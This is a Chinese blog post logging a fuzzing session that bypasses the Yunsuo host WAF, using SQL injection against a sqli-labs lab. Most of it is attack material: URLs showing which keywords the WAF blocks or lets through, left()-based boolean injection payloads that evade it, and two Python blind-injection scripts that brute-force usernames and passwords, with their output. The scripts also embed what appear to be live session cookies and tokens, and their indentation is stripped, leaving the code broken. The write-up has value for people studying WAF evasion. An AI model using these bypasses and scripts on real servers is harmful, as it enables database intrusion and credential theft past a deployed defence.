云锁最新版注入fuzz记录

1.云锁简单介绍

云锁是中国用户总量领先的主机安全产品,在国际上率先达到Gartner定义的cwpp(云工作负载保护平台)标准,兼容多种虚拟化架构和操作系统,可以高效支撑现代混合数据中心架构下的主机安全需求。云锁基于服务器端轻量级agent,安全加固服务器操作系统及应用,云锁waf探针、rasp探针、内核加固探针能有效检测与抵御已知、未知恶意代码和黑客攻击;同时云锁融合资产管理、微隔离、攻击溯源、自动化运维、基线检查等强大功能,帮助用户高效安全运维服务器。

2.测试环境准备

CentOS8.2.2004, 云锁waf,云锁pc客户端,sqli-labs, upload-labs,宝塔

云锁waf安装命令:

代码语言:javascript
复制
CentOS/Redhat

x86:wget http://download.yunsuo.com.cn/v3/yunsuo_agent_32bit.tar.gz && tar xvzf yunsuo_agent_32bit.tar.gz && chmod +x yunsuo_install/install && yunsuo_install/install

x64:wget http://download.yunsuo.com.cn/v3/yunsuo_agent_64bit.tar.gz && tar xvzf yunsuo_agent_64bit.tar.gz && chmod +x yunsuo_install/install && yunsuo_install/install

Ubuntu

x86:wget http://download.yunsuo.com.cn/v3/yunsuo_agent_32bit.tar.gz && tar xvzf yunsuo_agent_32bit.tar.gz && chmod +x yunsuo_install/install && sudo yunsuo_install/install

x64:wget http://download.yunsuo.com.cn/v3/yunsuo_agent_64bit.tar.gz && tar xvzf yunsuo_agent_64bit.tar.gz && chmod +x yunsuo_install/install && sudo yunsuo_install/install

云锁PC客户端

防护模式选择最高级别,在URL上检测所有规则

利用宝塔建站,将sqli-labs和upload-labs搭建在服务器上

3.FUZZ过程

3.1 注释符

%23、--+、;%00均可使用

3.2 order by绕过

order by函数被ban了,单个使用不检测,联合起来检测

代码语言:javascript
复制
http://ip:port/Less-1/?id=order
代码语言:javascript
复制
http://ip:port/Less-1/?id=order%20by

虽然order by被ban了,但是幸运的是group by没有被ban,还是可以通过group by来获取字段数。

代码语言:javascript
复制
http://ip:port/Less-1/?id=1' group by 3--+
代码语言:javascript
复制
http://ip:port/Less-1/?id=1' group by 4--+

综上可以看出,有三个字段。

3.3 union select

不出所料的也被ban了,同样也是单个使用不会被ban,同时使用时被ban

并且' union" union 同时出现时也会被ban

select from同时出现时也会被拦截

代码语言:javascript
复制
http://ip:port/Less-1/?id=select%20from

通过测试发现并没有比较好的方法绕过union select

3.4 sleep

sleep()函数没有被ban,可以尝试盲注

3.5 报错注入函数

其中extractvalue()updatexml()均被拦截

代码语言:javascript
复制
http://ip:port/Less-1/?id=-1%27%20||%20extractvalue()
代码语言:javascript
复制
http://ip:port/Less-1/?id=-1%27%20||%20updatexml()

floor(rand(0)*2)可以使用

代码语言:javascript
复制
http://ip:port/Less-1/?id=floor(rand(0)*2)

group bycount() 也可以使用

代码语言:javascript
复制
http://ip:port/Less-1/?id=count(*)%20||%20group%20by%20**floor(rand(0)*2)**

但是select from等均会被拦截,报错注入也不是很好绕过WAF。

3.6 database()、user()、version()

database()user()均被ban了,version()没有被ban

3.7 内联注释

尝试内联注释绕过,不过/*!*/被ban了

代码语言:javascript
复制
http://ip:port/Less-1/?id=-1%27%20/*!union*/%20select%201,2,3%23

/**/虽然没被ban,但是不会解析

代码语言:javascript
复制
http://ip:port/Less-1/?id=-1%27%20un/**/ion%20select%201,2,3%23

/**/放在其他地方时,又会因为' unionunion select而被拦截

代码语言:javascript
复制
http://ip:port/Less-1/?id=-1%27%20/**/union%20select%201,2,3%23

4.正式绕过

4.1 and or替换

虽然and、or、xor被ban了,但是可以用&&、 ||代替

代码语言:javascript
复制
http://ip:port/Less-1/?id=-1%27%20||%201=1%23

&&没法直接绕过and,和url传递多参数会有冲突,但是url编码一下就可以了

代码语言:javascript
复制
http://ip:port/Less-1/?id=1%27%20&&%201=1%23
代码语言:javascript
复制
http://ip:port/Less-1/?id=1%27%20%26%26%201=1%23
代码语言:javascript
复制
http://ip:port/Less-1/?id=1%27%20%26%26%202=1%23

此时证明存在注入漏洞

4.2 left函数利用

尝试利用left()函数

示例:left('abc',2)返回值为ab

之后将他与字符串进行比较 例如 left('abc',1)>'a' 返回结果为false 因为 ‘a’=‘a’

同样的left(abc,2)>'aa'返回结果为TURE 因为‘ab’是要大于‘aa’

根据返回的结果的真假与前面的语句用and相连接构造逻辑关系

即后面结果为真,页面就正常回显。若后面的语句为假,则页面回显异常

代码语言:javascript
复制
http://ip:port/Less-1/?id=-1%27%20||%20left(%27abc%27,2)%3E%27aa%27%23

当去掉'abc'的单引号时,会报不存在abc字段的错误,可知我们可以输入一个字段名来进行left的操作

代码语言:javascript
复制
http://ip:port/Less-1/?id=-1%27%20||%20left(abc,2)%3E%27aa%27%23

通过爆破可以爆出字段名username和password。这里爆破可以用sqlmap自带的column字典,很好用,当然也可以自定义字典。

代码语言:javascript
复制
字典位置:sqlmap-master\data\txt\common-columns.txt

爆破脚本:

代码语言:javascript
复制
import requests

burpsuite抓包直接复制

burp0_url = "http://xxxxxx/Less-1/"
burp0_cookies = {"request_token": "PLbkh85zHxoNaZhC5HFs7LQNZVy2OCje5oRib1ul2cjLWPn9", "pro_end": "-1", "ltd_end": "-1", "serverType": "apache", "order": "id%20desc", "memSize": "1826", "backup_path": "/www/backup", "sites_path": "/www/wwwroot", "Path": "/www/wwwroot/www.2.com", "uploadSize": "1073741824", "rank": "a", "security_session_verify": "803708956e6aa8bfb2d60bdfbdad5d85", "SESSIONID": "03370970-bce8-43c7-b02e-2efd608b830b.PTCcEwwcXaUmO4rRySk8XWRkOqM"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

fp = open('common-columns.txt')
initial_payload = "?id=-1%27%20||%20left({column},%202)%3E%27aa%27%20%23"

while 1:
column = fp.readline()
if not column:
break
column = column.strip('\n')
payload = initial_payload.format(column=column)
res = requests.get(burp0_url + payload, headers=burp0_headers, cookies=burp0_cookies)
if "Your Login name" in res.text:
print(column)
else:
continue

得到结果:

代码语言:javascript
复制
username
password

尝试username,成功

代码语言:javascript
复制
http://ip:port/Less-1/?id=-1%27%20||%20left(username,2)%3E%27aa%27%23

如果利用left(username,1)='a' 就能得到第一个开头为a的表username内的字段值

代码语言:javascript
复制
http://ip:port/Less-1/?id=-1%27%20||%20left(username,1)=%27a%27%23

但是实际环境中,可能存在着不止一个以a开头的用户,比如当我们使用left(username,2)='ad'来判断时,就会获得如下结果

代码语言:javascript
复制
http://ip:port/Less-1/?id=-1%27%20||%20left(username,2)=%27ad%27%23

在实际环境中,正常情况下肯定都不会直接回显字段值,此时我们就需要盲注爆破了。可以先判断长度,比如:

固定长度为6时,并且字段值开头第一个字母为s,就会成功访问。

当设置长度为7时,没有长度为7且第一个字母为s的字段值,就不会回显

当长度为8时,又存在新的数据,这时就会成功回显。

4.3 爆破脚本

此时,我们就可以利用这种方法来进行爆破了。

爆破username:

代码语言:javascript
复制
import requests
import time

requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)

payload ="-1%27%20||%20left(username,)=%27%27%20%26%26%20length(username)=%23"

burpsuite抓包直接复制

burp0_url = "http://xxxxxx/Less-1/"
burp0_cookies = {"request_token": "PLbkh85zHxoNaZhC5HFs7LQNZVy2OCje5oRib1ul2cjLWPn9", "pro_end": "-1", "ltd_end": "-1", "serverType": "apache", "order": "id%20desc", "memSize": "1826", "backup_path": "/www/backup", "sites_path": "/www/wwwroot", "Path": "/www/wwwroot/www.2.com", "uploadSize": "1073741824", "rank": "a", "security_session_verify": "803708956e6aa8bfb2d60bdfbdad5d85", "SESSIONID": "03370970-bce8-43c7-b02e-2efd608b830b.PTCcEwwcXaUmO4rRySk8XWRkOqM"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

#常用字符表
chars = "abcdefghijklmnopqrstuvwxyz@0123456789!-$"

全字符表

allchars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@0123456789!&#34;#$%&'()*+,-./:;<=>?[]^_`~"

#待爆破字段名
column = "username"
initial_payload ="?id=-1%27%20||%20left({column}, {number})=%27{name}%27%23"
result = []

def burst(burst_payload: str, burst_number: int, burst_name: str, burst_length):
for char1 in chars:
payload = burst_payload.format(number=burst_number, name=burst_name + char1, column=column, length=burst_length)
res = requests.get(burp0_url + payload, headers=burp0_headers, cookies=burp0_cookies)
if "Your Login name" in res.text:
#print(payload)
burst_name = burst_name + char1
return burst_name
else:
continue

for char1 in chars:
payload = initial_payload.format(number=1, name=char1, column=column)
res = requests.get(burp0_url + payload, headers=burp0_headers, cookies=burp0_cookies)
if "Your Login name" in res.text:
for length in range(1, 10):
payload = (initial_payload[:-3] + "%20%26%26%20length({column})={length}%23").format(number=1, name=char1, column=column, length=str(length))
#print(payload)
res = requests.get(burp0_url + payload, headers=burp0_headers, cookies=burp0_cookies)
if "Your Login name" in res.text:
burst_name = char1
for i in range(2, length+1):
burst_number = i
burst_payload = (initial_payload[:-3] + "%20%26%26%20length({column})={length}%23")
burst_name = burst(burst_payload, burst_number, burst_name, length)
result.append(burst_name)
print(result)
else:
continue
else:
continue

可以得到如下结果:

代码语言:javascript
复制
['admin', 'angelina', 'batman', 'dumb', 'dummy', 'secure', 'superman']

爆破password:

代码语言:javascript
复制
import requests
import time

requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)

payload ="-1%27%20||%20left(username,)=%27%27%20%26%26%20length(username)=%23"

burpsuite抓包直接复制

burp0_url = "http://xxxxxx/Less-1/"
burp0_cookies = {"request_token": "PLbkh85zHxoNaZhC5HFs7LQNZVy2OCje5oRib1ul2cjLWPn9", "pro_end": "-1", "ltd_end": "-1", "serverType": "apache", "order": "id%20desc", "memSize": "1826", "backup_path": "/www/backup", "sites_path": "/www/wwwroot", "Path": "/www/wwwroot/www.2.com", "uploadSize": "1073741824", "rank": "a", "security_session_verify": "803708956e6aa8bfb2d60bdfbdad5d85", "SESSIONID": "03370970-bce8-43c7-b02e-2efd608b830b.PTCcEwwcXaUmO4rRySk8XWRkOqM"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

#常用字符表
chars = "abcdefghijklmnopqrstuvwxyz@0123456789!-$"

全字符表

allchars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@0123456789!&#34;#$%&'()*+,-./:;<=>?[]^_`~"

#待爆破字段名
column = "password"
initial_payload ="?id=-1%27%20||%20left({column}, {number})=%27{name}%27%23"
result = []

def burst(burst_payload: str, burst_number: int, burst_name: str, burst_length):
for char1 in chars:
payload = burst_payload.format(number=burst_number, name=burst_name + char1, column=column, length=burst_length)
res = requests.get(burp0_url + payload, headers=burp0_headers, cookies=burp0_cookies)
if "Your Login name" in res.text:
#print(payload)
burst_name = burst_name + char1
return burst_name
else:
continue

for char1 in chars:
payload = initial_payload.format(number=1, name=char1, column=column)
res = requests.get(burp0_url + payload, headers=burp0_headers, cookies=burp0_cookies)
if "Your Login name" in res.text:
for length in range(1, 10):
payload = (initial_payload[:-3] + "%20%26%26%20length({column})={length}%23").format(number=1, name=char1, column=column, length=str(length))
#print(payload)
res = requests.get(burp0_url + payload, headers=burp0_headers, cookies=burp0_cookies)
if "Your Login name" in res.text:
burst_name = char1
for i in range(2, length+1):
burst_number = i
burst_payload = (initial_payload[:-3] + "%20%26%26%20length({column})={length}%23")
burst_name = burst(burst_payload, burst_number, burst_name, length)
result.append(burst_name)
print(result)
else:
continue
else:
continue

结果如下:

代码语言:javascript
复制
['admin', 'crappy', 'dumb', 'genious', 'mob!le', 'p@ssword', 'stupidity']

注:

目前脚本存在两个问题,第一个是大小写不敏感,导致用户和密码如果存在大小写会有问题。第二个是同长度同首字母的不同用户,只能识别第一个,如果想要识别多个会大大提高所花费的时间,有空再改改。

大概可以通过二分法来做,然后用ord(name)>64来判断是否存在。